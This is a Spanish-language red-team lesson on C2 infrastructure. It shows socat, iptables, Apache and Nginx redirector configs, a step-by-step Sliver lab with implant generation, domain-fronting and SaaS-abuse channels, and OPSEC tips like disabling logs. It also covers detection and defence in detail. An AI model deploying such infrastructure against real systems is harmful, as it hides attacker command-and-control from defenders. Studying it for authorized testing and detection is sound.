Redirectors e infraestructura C2: domain fronting, CDN abuse y OPSEC ofensiva

En cualquier operación red team que dure más de unas horas, el atacante necesita una infraestructura C2 resiliente: un sistema de servidores intermedios que proteja la identidad del teamserver real, permita rotar componentes quemados sin perder sesiones y dificulte al blue team el bloqueo de las comunicaciones. Esos servidores intermedios son los redirectors y, junto con técnicas como domain fronting y CDN abuse, forman la columna vertebral de la infraestructura ofensiva moderna.

Esta lección es la octava de la Tanda 10 de /aprende. Cubre desde el concepto básico de redirector hasta configuraciones avanzadas con Apache mod_rewrite, Nginx, socat, CDN fronting y prácticas de OPSEC que separan una operación profesional de una improvisación que se quema en minutos. El enfoque está en entender cada pieza: para qué sirve, cómo se configura y, sobre todo, cómo la detecta el defensor.

Todo lo descrito aquí debe practicarse exclusivamente en entornos autorizados con reglas de engagement firmadas. Montar infraestructura C2 sin autorización constituye un delito en la mayoría de jurisdicciones.

Qué es un redirector#

Un redirector es un servidor intermedio que recibe el tráfico del implant (beacon, agent) y lo reenvía al teamserver real. El target nunca ve la IP del teamserver; si el defensor bloquea o investiga el redirector, el operador lo reemplaza sin perder el servidor central.

Piensa en el redirector como un fusible: cuando se quema, lo cambias y sigues operando. Un engagement profesional suele tener al menos dos redirectors activos en paralelo (uno HTTP/HTTPS y uno DNS), más uno de reserva listo para activar. El teamserver, en cambio, es único y debe permanecer oculto durante toda la operación.

El patrón general es sencillo: el beacon del target envía sus callbacks a la IP o dominio del redirector. El redirector inspecciona la petición (URI, headers, User-Agent) y, si cumple las condiciones esperadas, la reenvía al teamserver. Si no las cumple, devuelve una respuesta inocua (un 404, una página genérica) o redirige a un sitio legítimo. Esto se llama conditional redirection y es la base del OPSEC de infraestructura.

Por qué ocurre: la causa raíz#

La necesidad de redirectors nace de dos realidades:

• Exposición directa del teamserver: si el beacon se conecta directamente al teamserver y un analista lo investiga, obtiene la IP real del operador. Basta un whois, un report de abuse o una regla de firewall para matar toda la operación.
• Falta de resiliencia: sin nodos intermedios, bloquear una IP es bloquear toda la comunicación C2. Con redirectors, el operador rota IPs y dominios sin tocar el teamserver.

En operaciones reales, la causa raíz de que muchos red teams sean detectados rápidamente es exactamente la falta de infraestructura adecuada: beacons apuntando directamente a un VPS con certificado autofirmado, sin conditional redirection, sin rotación de dominios. El blue team ve un callback sospechoso, pivota sobre la IP y encuentra el teamserver en minutos.

Tipos de redirectors#

Dumb redirectors con socat#

El más rápido de montar. Una línea de socat reenvía todo el tráfico TCP de un puerto al teamserver:

socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER_IP:443

Ventaja: se configura en segundos. Desventaja: no filtra nada. Todo lo que llegue al puerto 443 del redirector pasa al teamserver, incluidos los escaneos del blue team. Solo sirve para tests rápidos o como último recurso.

Con iptables la alternativa es DNAT:

iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination TEAMSERVER_IP:443
iptables -t nat -A POSTROUTING -j MASQUERADE

Smart redirectors con Apache mod_rewrite#

La configuración estándar en engagements profesionales usa Apache con mod_rewrite para filtrar peticiones y reenviar solo las que coinciden con el perfil del malleable C2 profile:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.js$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0.*
RewriteRule ^.*$ https://TEAMSERVER_IP%{REQUEST_URI} [P,L]
RewriteRule ^.*$ https://www.microsoft.com [L,R=302]

Esta configuración hace dos cosas: si la URI es /jquery-3.3.1.min.js y el User-Agent empieza con Mozilla/5.0, reenvía (proxy) al teamserver. Cualquier otra petición redirige a microsoft.com con un 302. Un analista que visite la IP del redirector manualmente verá una redirección a Microsoft, no el teamserver.

Smart redirectors con Nginx#

Nginx es más eficiente con alto volumen de tráfico:

server {
    listen 443 ssl;
    server_name cdn-assets.example.com;
    ssl_certificate /etc/letsencrypt/live/cdn-assets.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn-assets.example.com/privkey.pem;

    location /api/v2/status {
        if ($http_user_agent !~* "Mozilla/5.0") {
            return 404;
        }
        proxy_pass https://TEAMSERVER_IP;
        proxy_ssl_verify off;
    }

    location / {
        return 302 https://www.example.com;
    }
}

La diferencia clave: Nginx usa proxy_pass en lugar de mod_rewrite. Ambos logran lo mismo: conditional redirection.

Dónde aparece cada técnica#

• Socat / iptables DNAT: pruebas rápidas, CTFs, entornos de laboratorio. También como canal de respaldo cuando el smart redirector falla.
• Apache mod_rewrite: estándar de la industria desde que Jeff Dimmock y Steve Borosh publicaron sus guías en 2016-2017. Compatible con Cobalt Strike malleable profiles.
• Nginx reverse proxy: operaciones de alto volumen, infraestructura que ya usa Nginx, o cuando se necesita balanceo de carga entre múltiples teamservers.
• CDN fronting: operaciones que necesitan evadir bloqueo por IP. El tráfico pasa por CloudFront, Cloudflare o Fastly y es casi imposible de bloquear sin romper servicios legítimos.
• DNS redirectors: canales de respaldo. DNS C2 es lento pero muy difícil de bloquear porque implica bloquear resolución DNS completa.

Cómo se detecta#

El blue team tiene varias estrategias para identificar redirectors:

• Análisis de certificados TLS: certificados de Let's Encrypt recién emitidos en dominios sin historial son sospechosos. Herramientas como Certificate Transparency logs (crt.sh) permiten monitorear dominios nuevos.
• JA3/JA3S fingerprinting: cada cliente TLS tiene un fingerprint basado en los parámetros del handshake. Un beacon con JA3 conocido (Cobalt Strike default) es detectable aunque el dominio cambie.
• Análisis de tiempos: callbacks regulares con jitter predecible delatan C2. Network Detection and Response (NDR) busca estos patrones.
• HTTP header anomalies: un redirector mal configurado puede pasar headers internos (X-Forwarded-For, Via) que delatan la existencia de un proxy.
• Reputación de dominio e IP: dominios registrados hace días con tráfico HTTPS intenso son sospechosos. Servicios como DomainTools, RiskIQ y VirusTotal cruzan esta información.
• Inspección de contenido: si la respuesta del redirector para peticiones no válidas es un 302 a microsoft.com, ese patrón se vuelve signature.

Explotación paso a paso en un laboratorio#

El siguiente ejercicio monta una infraestructura C2 mínima con un redirector Apache en un entorno de laboratorio controlado.

Paso 1: preparar el teamserver#

En la máquina que actúa como teamserver (IP_TEAMSERVER), instala Sliver y genera un listener HTTPS:

sliver > https --lhost 0.0.0.0 --lport 8443

Paso 2: montar el redirector Apache#

En el servidor redirector (IP_REDIRECTOR), instala Apache con mod_rewrite y mod_proxy:

sudo apt install apache2
sudo a2enmod rewrite proxy proxy_http ssl

Crea el virtual host con conditional redirection:

<VirtualHost *:443>
    ServerName cdn-update.example.com
    SSLEngine On
    SSLCertificateFile /etc/letsencrypt/live/cdn-update.example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-update.example.com/privkey.pem

    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/info$
    RewriteRule ^.*$ https://IP_TEAMSERVER:8443%{REQUEST_URI} [P,L]
    RewriteRule ^.*$ https://www.google.com/ [L,R=302]
</VirtualHost>

Paso 3: generar el implant apuntando al redirector#

sliver > generate --http https://cdn-update.example.com --save /tmp/implant

El implant se conectará a IP_REDIRECTOR (puerto 443). Apache verificará la URI y reenviará al teamserver en 8443.

Paso 4: verificar conditional redirection#

Desde otra máquina, comprueba que las peticiones fuera de la URI esperada se redirigen:

curl -v https://cdn-update.example.com/random-page
# Resultado esperado: 302 → https://www.google.com/

Y que la URI correcta llega al teamserver:

curl -v https://cdn-update.example.com/info
# Resultado esperado: respuesta del teamserver (puede ser un 404 de Sliver si no hay sesión)

Paso 5: rotar el redirector#

Si el blue team bloquea IP_REDIRECTOR, levanta un nuevo VPS, replica la configuración de Apache, cambia el DNS del dominio y el beacon seguirá conectándose sin modificar el implant (siempre que apunte al dominio, no a la IP).

Qué puede lograr un atacante#

Cómo se corrige#

La defensa contra infraestructura C2 profesional es multicapa. No existe una solución única que cubra todos los vectores.

Inspección TLS#

Desplegar un proxy TLS (Zscaler, Palo Alto SSL Decryption, Squid con SSL bump) permite inspeccionar el contenido de conexiones HTTPS. Sin inspección TLS, el blue team solo ve metadatos (IP destino, SNI, certificado), no el payload del beacon.

JA3/JA3S y JARM#

Implementar detección basada en fingerprints TLS. Herramientas como Zeek generan JA3 hashes de cada conexión. Un hash conocido de Cobalt Strike o Sliver genera una alerta inmediata:

# Zeek log con JA3
cat ssl.log | zeek-cut ja3 server_name | sort | uniq -c | sort -rn | head -20

JARM (de Salesforce) fingerprinta el servidor TLS, no el cliente. Un teamserver Cobalt Strike tiene JARM signature conocida incluso detrás de un redirector.

Monitoreo de Certificate Transparency#

Suscribirse a feeds de CT logs para detectar certificados nuevos que incluyan dominios parecidos a los de la organización (typosquatting) o patrones sospechosos:

# Monitorear dominios nuevos similares a "miempresa.com"
curl -s "https://crt.sh/?q=%25miempresa%25&output=json" | python3 -m json.tool

Threat intelligence de dominios#

Integrar feeds de reputación de dominios (DomainTools Iris, RiskIQ, VirusTotal) en el SIEM. Dominios con menos de 30 días de antigüedad y tráfico HTTPS desde la red interna son candidatos a C2.

Segmentación y egress filtering#

Restringir la salida de tráfico a solo los destinos necesarios. Si los usuarios no necesitan acceder a CDNs arbitrarias, bloquear dominios no aprobados reduce la superficie de CDN abuse.

DNS monitoring#

Monitorear consultas DNS anómalas: subdominios con alta entropía (base64 encoded data), volumen inusual de consultas a un dominio, registros TXT grandes. Estas son firmas clásicas de DNS C2.

Domain fronting y CDN abuse#

El domain fronting explota una diferencia entre dos capas del protocolo HTTPS: el campo SNI (Server Name Indication) en el handshake TLS y el header Host en la petición HTTP dentro del túnel cifrado.

El flujo es el siguiente:

• El beacon abre una conexión TLS a una CDN (por ejemplo CloudFront) con SNI apuntando a legitimate-site.cloudfront.net.
• Un observador de red (firewall, IDS) solo ve el SNI: tráfico a un dominio legítimo de CloudFront.
• Dentro del túnel cifrado, el header Host apunta a evil-backend.cloudfront.net, que es una distribución CloudFront controlada por el atacante.
• La CDN enruta la petición al backend del atacante basándose en el header Host.

El resultado: el tráfico C2 parece ir a un servicio legítimo de Amazon. Bloquear CloudFront completo rompería medio internet corporativo.

En 2018 AWS, Google Cloud y Azure comenzaron a bloquear domain fronting verificando que SNI y Host coincidan. Sin embargo, variantes siguen funcionando:

• CDN fronting con Workers/Functions: Cloudflare Workers o CloudFront Functions ejecutan código en el edge que redirige el tráfico al backend del atacante. No dependen de domain fronting clásico.
• Legitimate SaaS abuse: usar APIs de servicios como Slack, Teams, Telegram o GitHub como canal de comunicación C2. El tráfico va a dominios de Microsoft o GitHub, imposibles de bloquear en entornos corporativos.
• Cloud provider abuse: Azure Functions, AWS Lambda, Google Cloud Functions como endpoints C2. El tráfico va a dominios del cloud provider.

Errores comunes al defenderse#

• No inspeccionar TLS: sin SSL decryption, el blue team está ciego ante domain fronting y CDN abuse. Muchas organizaciones evitan inspección TLS por complejidad o rendimiento.
• Confiar solo en listas de reputación: un dominio recién registrado pero con certificado válido y alojado en CloudFront no aparecerá en listas negras durante días o semanas.
• No monitorear Certificate Transparency: los certificados emitidos para dominios de typosquatting son visibles públicamente horas antes del ataque.
• Bloquear solo IPs: un operador con tres redirectors y CDN fronting puede rotar indefinidamente. El bloqueo debe ser a nivel de comportamiento, no solo de IOCs.
• Ignorar DNS: el canal DNS C2 es el respaldo favorito de operadores avanzados. Si no se monitorean consultas DNS internas, el atacante tiene un canal invisible.
• No correlacionar eventos: un 302 a google.com desde un servidor desconocido, combinado con JA3 de beacon conocido, es un indicador fuerte. Pero solo si el SIEM correlaciona ambos eventos.

Preguntas frecuentes#

¿Domain fronting sigue funcionando en 2026?#

El domain fronting clásico (SNI diferente a Host) está bloqueado en AWS CloudFront, Google Cloud y Azure CDN desde 2018-2019. Sin embargo, variantes como CDN Workers, cloud function abuse y legitimate SaaS channels logran el mismo efecto de mezclar tráfico con servicios legítimos.

¿Cuántos redirectors necesito en un engagement real?#

Mínimo dos activos (HTTP/HTTPS y DNS) más uno de reserva. En operaciones largas (semanas), conviene tener cuatro o cinco con rotación planificada. Cada redirector debe poder reemplazarse sin modificar el implant (usar dominios, no IPs hardcodeadas).

¿Apache o Nginx para el redirector?#

Apache mod_rewrite tiene más documentación específica para C2 y compatibilidad directa con malleable C2 profiles de Cobalt Strike. Nginx es más eficiente con alto volumen y más intuitivo para quienes ya lo usan. En la práctica, ambos funcionan bien.

¿Cómo detecto si mi organización está siendo víctima de domain fronting?#

Inspección TLS es la medida más directa: al descifrar el tráfico, puedes comparar SNI con Host. Sin inspección TLS, busca anomalías en volumen y frecuencia de conexiones a CDNs, JA3 fingerprints inusuales y callbacks periódicos a dominios sin contenido visible.

¿Herramientas de automatización para infraestructura C2?#

Terraform + Ansible es la combinación estándar para desplegar y configurar redirectors automáticamente. Proyectos como Red Team Infrastructure Wiki de Steve Borosh y Jeff Dimmock documentan plantillas completas. Cloud-based redirectors se despliegan con Terraform en AWS, Azure o DigitalOcean en minutos.

¿Los logs del redirector comprometen al operador?#

Si el redirector está bien configurado, sus logs solo contienen las peticiones entrantes del beacon y la dirección del proxy_pass. Un redirector bien operado tiene logs desactivados o los envía cifrados al teamserver. Sin embargo, un forense puede recuperar configuración de Apache/Nginx y deducir la IP del teamserver si no se limpió adecuadamente.

Resumen#

• Un redirector es un proxy intermedio que protege el teamserver y permite rotar componentes quemados.
• Socat e iptables DNAT crean redirectors rápidos sin filtrado. Apache mod_rewrite y Nginx permiten conditional redirection basada en URI, User-Agent y headers.
• Domain fronting oculta C2 detrás de CDNs legítimas; el fronting clásico está bloqueado, pero variantes con Workers, cloud functions y SaaS abuse siguen activas.
• La defensa requiere inspección TLS, JA3/JARM fingerprinting, monitoreo de Certificate Transparency y correlación de eventos en el SIEM.
• Una infraestructura C2 profesional tiene mínimo dos redirectors activos, rotación planificada y dominios con certificados válidos.
• El OPSEC ofensivo es tan importante como la técnica: logs desactivados, infraestructura desechable y burn plans documentados.

Fuentes y lecturas recomendadas#

• Red Team Infrastructure Wiki - Jeff Dimmock & Steve Borosh
• Apache mod_rewrite for C2 Redirection
• MITRE ATT&CK T1090.004 - Domain Fronting
• JA3 - Salesforce Engineering
• JARM - Salesforce Engineering
• Cobalt Strike Malleable C2 Profiles
• Sliver C2 - BishopFox
• Certificate Transparency - crt.sh